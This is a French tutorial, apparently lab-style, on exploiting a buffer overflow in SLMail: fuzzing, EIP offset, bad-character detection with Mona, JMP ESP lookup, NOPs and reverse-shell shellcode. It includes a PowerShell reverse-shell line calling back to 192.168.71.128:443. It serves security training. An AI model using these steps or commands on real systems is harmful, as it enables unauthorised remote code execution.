SLMail
Phase initiale de Fuzzing et prise de contrôle du registre EIP:
Pendant la phase initiale de l'exploitation d'un dépassement de tampon, l'une des premières tâches consiste à déterminer les limites du programme cible. Cela s'accomplit en testant l'introduction de caractères excédentaires dans divers champs d'entrée du programme, tels que des chaînes de texte ou des fichiers, jusqu'à ce que la détection d'une altération ou d'une défaillance de l'application se produise. Une fois que la limite du champ d'entrée est identifiée, l'étape suivante consiste à découvrir le décalage (offset), représentant le nombre exact de caractères nécessaires pour provoquer une altération dans le programme et ainsi écraser la valeur du registre EIP (Extended Instruction Pointer). Ce registre, pointant vers l'adresse mémoire de la prochaine instruction à exécuter, est crucial. Dans une exploitation réussie du dépassement de tampon, sa valeur est remplacée par une adresse contrôlée par l'attaquant, permettant l'exécution de code malveillant. Ainsi, l'objectif lors de la détermination du décalage est de spécifier la quantité exacte de caractères à introduire pour écraser la valeur du registre EIP, pointant ainsi vers l'adresse mémoire contrôlée par l'attaquant. Avec cette information, l'attaquant peut concevoir un exploit personnalisé pour le programme cible, prenant ainsi le contrôle du registre EIP et permettant l'exécution de code malveillant.
Dans l'Immunity Debugger, nous sélectionnons le SL mail :


Nous allons créer un script en Python qui automatise la découverte du nombre d'octets nécessaires pour provoquer un crash du programme.


Comme nous sommes sur Windows, nous utiliserons un outil de Metasploit.
Exemple avec 5000 caractères :

Le service a planté, mais ce qui nous intéresse, c'est la valeur EIP :

Avec le script suivant également de Metasploit, nous lui passons ceci, le EIP, et il nous calcule le nombre maximum de caractères de tampon possibles :
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb

Donc, une fois que nous connaissons le décalage (offset), le script suivant va injecter 4 caractères B pour voir si cela fonctionne ou non :
Nous voyons que le EIP correspond à la lettre B quatre fois (42424242) :

Allocation d'espace pour le Shellcode:
Une fois que l'offset a été trouvé et que la valeur du registre EIP a été écrasée lors d'un débordement de tampon, le processus suivant consiste à localiser dans la mémoire la représentation des caractères saisis dans le champ d'entrée. Suite à cette altération du registre EIP, les caractères supplémentaires introduits dans le champ d'entrée sont repérés au début de la pile (stack) dans le registre ESP (Extended Stack Pointer), comme observé via Immunity Debugger. ESP, un registre CPU, gère la pile dans un programme, une zone de mémoire temporaire stockant les valeurs et adresses de retour des fonctions. L'étape suivante implique l'injection d'un shellcode, des instructions de bas niveau correspondant à une action malveillante, à l'emplacement mémoire identifié. Le shellcode est placé dans la pile à la même adresse que les caractères altérés, exploitant ainsi le débordement de tampon pour exécuter le code malveillant et prendre le contrôle du système. Il est crucial de concevoir le shellcode avec précaution pour éviter toute détection malveillante, en garantissant sa compatibilité avec l'architecture CPU et le système d'exploitation ciblés. En résumé, l'allocation d'espace pour le shellcode requiert l'identification précise de l'emplacement mémoire des caractères altérés dans le débordement de tampon, suivi de l'injection stratégique du shellcode malveillant. Toutefois, la conception du shellcode doit prendre en compte la détection de caractères indésirables (badchars), et nous aborderons dans la prochaine étape la manière de les détecter et de générer un shellcode exempt de ces éléments.
Maintenant, avec le script suivant, nous allons voir ce qui se passe si nous créons un débordement de tampon après EIP où tout ce contenu est stocké (sur la pile) :

Si nous examinons plus d'informations à gauche avec le suivi du vidage mémoire (follow in dump) :

Génération de Bytearrays et détection de badchars:
Lors de la création de notre shellcode malveillant pour exploiter le dépassement de tampon, il est possible que le programme cible n'interprète pas correctement certains caractères, appelés "badchars", pouvant entraîner l'échec du shellcode ou la fermeture inattendue du programme. Afin de prévenir ces problèmes, il est essentiel d'identifier et d'éliminer ces badchars du shellcode. Dans cette démarche, nous explorons, à l'aide d'Immunity Debugger et de la fonction Mona, la génération de différents tableaux de bytes avec une représentation presque complète de tous les caractères. Ensuite, nous repérons les caractères que le programme cible ne peut interpréter. Une fois ces badchars identifiés, nous les excluons du shellcode final, générant ainsi une nouvelle version sans ces caractères. Pour détecter les badchars, diverses techniques sont employées, comme l'introduction de tableaux de bytes avec des caractères hexadécimaux consécutifs, permettant d'identifier les caractères problématiques. Ces caractères apparaissent dans la pile (ESP), où nous observons quels caractères ne sont pas représentés, identifiant ainsi les badchars.
Nous utilisons la commande suivante pour créer un dossier de travail avec Mona sur le bureau :

Avec la commande suivante, les fichiers sont créés :

Pour transférer les fichiers, nous pouvons créer un serveur SMB avec la commande suivante :

Dans l'explorateur de fichiers, nous saisissons l'adresse IP et collons le fichier bytearray créé :

Maintenant, cette chaîne doit être collée dans le script (en ajoutant un 'b' à chaque ligne pour indiquer qu'elle est en mode octets) :

Voici le script Python :
Nous effectuons un follow in dump de l'ESP :

Là , nous pouvons voir les caractères indésirables (qu'il ne peut pas interpréter) :
Nous saisissons la commande suivante avec le numéro de l'ESP (précédé de 0x et la comparaison avec le bytearray.bion) pour voir quels sont les caractères qu'il n'interprète pas correctement :

Avec cette commande, nous indiquons de ne pas supprimer les caractères indésirables du fichier bytearray :

Nous le refaisons et il détecte de nouveaux caractères indésirables :

Et nous mettons à jour à nouveau le bytearray :

Si nous le refaisons, aucune erreur n'apparaît plus :

Recherche d'OpCodes pour accéder à l'ESP et charger notre Shellcode :
Une fois que le shellcode malveillant a été généré et que les caractères indésirables (badchars) ont été identifiés, la prochaine étape consiste à orienter le flux du programme vers le shellcode pour son interprétation. L'objectif est de diriger le registre EIP vers une adresse mémoire contenant un opcode effectuant un saut vers le registre ESP (JMP ESP), là où réside le shellcode, étant donné qu'il n'est pas possible initialement de faire pointer directement le registre EIP vers le shellcode. La recherche de l'opcode JMP ESP peut être effectuée à l'aide d'outils tels que mona.py, qui permettent de localiser des opcodes dans des modules spécifiques de la mémoire du programme cible. Une fois l'opcode 'JMP ESP' trouvé, il est possible de substituer la valeur du registre EIP par l'adresse mémoire contenant cet opcode, autorisant ainsi le saut vers le registre ESP et l'exécution du shellcode malveillant. Cette technique de recherche d'opcodes vise à orienter le flux du programme vers le shellcode afin de permettre son interprétation, en utilisant l'opcode JMP ESP pour effectuer le saut vers l'adresse mémoire du registre ESP où réside le shellcode.
La commande suivante génère un code shell Windows x86, utilisant une connexion inversée TCP vers l'adresse IP 192.168.71.128 sur le port 443, avec un encodage shikata_ga_nai et excluant les badchars.

Maintenant, avec la commande !mona modules, nous allons rechercher un module sans protection dont la valeur est false :

Nous recherchons un jmp esp, qui se traduirait par "\xFF\xE4" :

Avec la commande suivante, nous devrions choisir l'un de ces modules sans protection et sans Bad char :

Dans ce cas, nous choisissons le dernier, qui est "0x5f4c4d13". Nous allons créer un point d'arrêt pour vérifier si le flux du programme passe correctement par là :


Avec ce script, nous parviendrons à changer l'EIP à celui qui nous intéresse :
Maintenant, notre EIP a été changé et il suffirait de faire un "step into" :

Maintenant, si nous faisons un suivi du dump de l'ESP, le code shell serait représenté :

Utilisation de NOPs, déplacements de la pile et interprétation du Shellcode pour obtenir une RCE (exécution de code à distance).
Il ne nous l'interprète pas :

Nous allons modifier le script en ajoutant ce NOP de la manière suivante :

Voici le script final :
Si nous le refaisons, il l'interprète parfaitement :

Modification du Shellcode pour contrôler la commande que vous souhaitez exécuter:
En complément des charges utiles utilisées précédemment, il est possible d'exploiter des charges utiles telles que "windows/exec" pour incorporer directement la commande à exécuter dans la variable CMD de la charge utile. Cette approche permet la création d'un nouveau shellcode qui, lors de son interprétation, exécute directement l'instruction souhaitée. Le payload "windows/exec" de Metasploit autorise l'exécution d'une commande arbitraire sur la machine cible, nécessitant la spécification de la commande à travers la variable CMD. Lors de la génération du shellcode via msfvenom, le paramètre "-p windows/exec CMD=<commande>" sert à préciser la commande à exécuter. Après la génération du shellcode avec la commande désirée, la technique de dépassement de tampon peut être employée pour substituer le registre EIP, dirigeant ainsi le flux du programme vers le shellcode. Lors de l'interprétation du shellcode, la commande spécifiée dans la variable CMD sera alors exécutée directement.
Téléchargez ce script et nommez-le PS.ps1
Ajoutez ceci à la fin du script : PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.71.128 -Port 443
Générez le code shell :

Voici le nouveau script :

Mis à jour
Ce contenu vous a-t-il été utile ?
